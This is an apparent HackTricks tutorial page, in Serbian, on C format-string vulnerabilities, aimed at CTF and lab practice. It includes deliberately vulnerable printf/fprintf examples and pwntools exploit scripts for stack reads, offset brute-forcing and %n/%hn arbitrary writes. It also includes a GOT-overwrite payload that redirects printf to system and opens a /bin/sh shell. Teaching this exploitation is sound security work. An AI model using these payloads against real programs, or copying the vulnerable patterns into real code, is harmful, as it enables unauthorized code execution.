Format Strings
Reading time: 8 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne Informacije
U C printf
je funkcija koja se može koristiti za štampanje nekog stringa. Prvi parametar koji ova funkcija očekuje je sirovi tekst sa formatima. Sledeći parametri koji se očekuju su vrednosti za zamenu formata iz sirovog teksta.
Druge ranjive funkcije su sprintf()
i fprintf()
.
Ranjivost se pojavljuje kada se tekst napadača koristi kao prvi argument ovoj funkciji. Napadač će moći da kreira poseban unos koji zloupotrebljava printf format string mogućnosti da čita i piše bilo koje podatke na bilo kojoj adresi (čitljivo/pisivo). Na ovaj način će moći da izvrši proizvoljan kod.
Formati:
%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%p —> Pointer
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
Primeri:
- Ranjivi primer:
char buffer[30];
gets(buffer); // Dangerous: takes user input without restrictions.
printf(buffer); // If buffer contains "%x", it reads from the stack.
- Normalna upotreba:
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
- Sa nedostajućim argumentima:
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
- fprintf ranjiv:
#include <stdio.h>
int main(int argc, char *argv[]) {
char *user_input;
user_input = argv[1];
FILE *output_file = fopen("output.txt", "w");
fprintf(output_file, user_input); // The user input can include formatters!
fclose(output_file);
return 0;
}
Pristupanje Pokazivačima
Format %<n>$x
, gde je n
broj, omogućava da se printf-u naznači da izabere n-ti parametar (sa steka). Dakle, ako želite da pročitate 4. parametar sa steka koristeći printf, mogli biste to uraditi:
printf("%x %x %x %x")
и могли бисте читати од првог до четвртог параметра.
Или бисте могли да урадите:
printf("%4$x")
i direktno pročitajte četvrti.
Obratite pažnju da napadač kontroliše printf
parametar, što u suštini znači da će njegov unos biti u steku kada se pozove printf
, što znači da bi mogao da upiše specifične adrese u memoriji u stek.
caution
Napadač koji kontroliše ovaj unos, moći će da doda proizvoljnu adresu u stek i natera printf
da im pristupi. U sledećem odeljku biće objašnjeno kako koristiti ovo ponašanje.
Proizvoljno Čitanje
Moguće je koristiti formatirator %n$s
da natera printf
da dobije adresu koja se nalazi na n poziciji, nakon nje i odštampa je kao da je string (štampanje dok se ne pronađe 0x00). Dakle, ako je osnovna adresa binarnog fajla 0x8048000
, i znamo da korisnički unos počinje na 4. poziciji u steku, moguće je odštampati početak binarnog fajla sa:
from pwn import *
p = process('./bin')
payload = b'%6$s' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param
p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
caution
Imajte na umu da ne možete staviti adresu 0x8048000 na početak ulaza jer će string biti prekinut u 0x00 na kraju te adrese.
Pronađi offset
Da biste pronašli offset za vaš ulaz, možete poslati 4 ili 8 bajtova (0x41414141
) praćenih %1$x
i povećavati vrednost dok ne dobijete A's
.
Brute Force printf offset
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
from pwn import *
# Iterate over a range of integers
for i in range(10):
# Construct a payload that includes the current integer as offset
payload = f"AAAA%{i}$x".encode()
# Start a new process of the "chall" binary
p = process("./chall")
# Send the payload to the process
p.sendline(payload)
# Read and store the output of the process
output = p.clean()
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
if b"41414141" in output:
# If the string is found, log the success message and break out of the loop
log.success(f"User input is at offset : {i}")
break
# Close the process
p.close()
Koliko je korisno
Arbitrarna čitanja mogu biti korisna za:
- Dump binarne datoteke iz memorije
- Pristup specifičnim delovima memorije gde je smeštena osetljiva informacija (kao što su kanari, ključevi za enkripciju ili prilagođene lozinke kao u ovom CTF izazovu)
Arbitrarno Pisanje
Formatirnik %<num>$n
piše broj napisanih bajtova u naznačenu adresu u <num> parametru na steku. Ako napadač može da piše onoliko karaktera koliko želi sa printf, moći će da natera %<num>$n
da upiše proizvoljan broj na proizvoljnu adresu.
Srećom, da bi se napisao broj 9999, nije potrebno dodavati 9999 "A" u ulaz, da bi se to postiglo moguće je koristiti formatirnik %.<num-write>%<num>$n
da bi se napisao broj <num-write>
u adresu na koju ukazuje num
pozicija.
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500
Međutim, imajte na umu da se obično za pisanje adrese kao što je 0x08049724
(što je OGROMAN broj za napisati odjednom), koristi $hn
umesto $n
. To omogućava da napišete samo 2 bajta. Stoga se ova operacija vrši dva puta, jednom za najviših 2B adrese i drugi put za najniže.
Zbog toga, ova ranjivost omogućava pisanje bilo čega na bilo kojoj adresi (arbitrarno pisanje).
U ovom primeru, cilj će biti da se prepiše adresa funkcije u GOT tabeli koja će biti pozvana kasnije. Iako bi ovo moglo zloupotrebiti druge tehnike arbitrarno pisanje za izvršavanje:
Prepisujemo funkciju koja prima svoje argumente od korisnika i upućujemo je na system
funkciju.
Kao što je pomenuto, za pisanje adrese obično su potrebna 2 koraka: Prvo napišete 2B adrese, a zatim ostale 2. Da biste to uradili, koristi se $hn
.
- HOB se poziva na 2 viša bajta adrese
- LOB se poziva na 2 niža bajta adrese
Zatim, zbog načina na koji funkcioniše format string, potrebno je prvo napisati manji od [HOB, LOB] i zatim drugi.
Ako je HOB < LOB
[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]
Ako je HOB > LOB
[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
Pwntools Template
Možete pronaći šablon za pripremu eksploita za ovu vrstu ranjivosti u:
Ili ovaj osnovni primer iz ovde:
from pwn import *
elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000 # ASLR disabled
p = process()
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)
p.clean()
p.sendline('/bin/sh')
p.interactive()
Format Strings do BOF
Moguće je zloupotrebiti akcije pisanja u ranjivosti format stringa da se piše u adrese steka i iskoristi ranjivost tipa buffer overflow.
Ostali Primeri i Reference
- https://ir0nstone.gitbook.io/notes/types/stack/format-string
- https://www.youtube.com/watch?v=t1LH9D5cuK4
- https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
- https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html
- 32 bita, bez relro, bez kanarija, nx, bez pie, osnovna upotreba format stringova za curenje zastavice iz steka (nije potrebno menjati tok izvršenja)
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bita, relro, bez kanarija, nx, bez pie, format string za prepisivanje adrese
fflush
sa funkcijom win (ret2win) - https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html
- 32 bita, relro, bez kanarija, nx, bez pie, format string za pisanje adrese unutar main u
.fini_array
(tako da se tok vraća još jednom) i pisanje adrese usystem
u GOT tabeli koja pokazuje nastrlen
. Kada se tok vrati u main,strlen
se izvršava sa korisničkim unosom i pokazuje nasystem
, izvršiće prosleđene komande.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.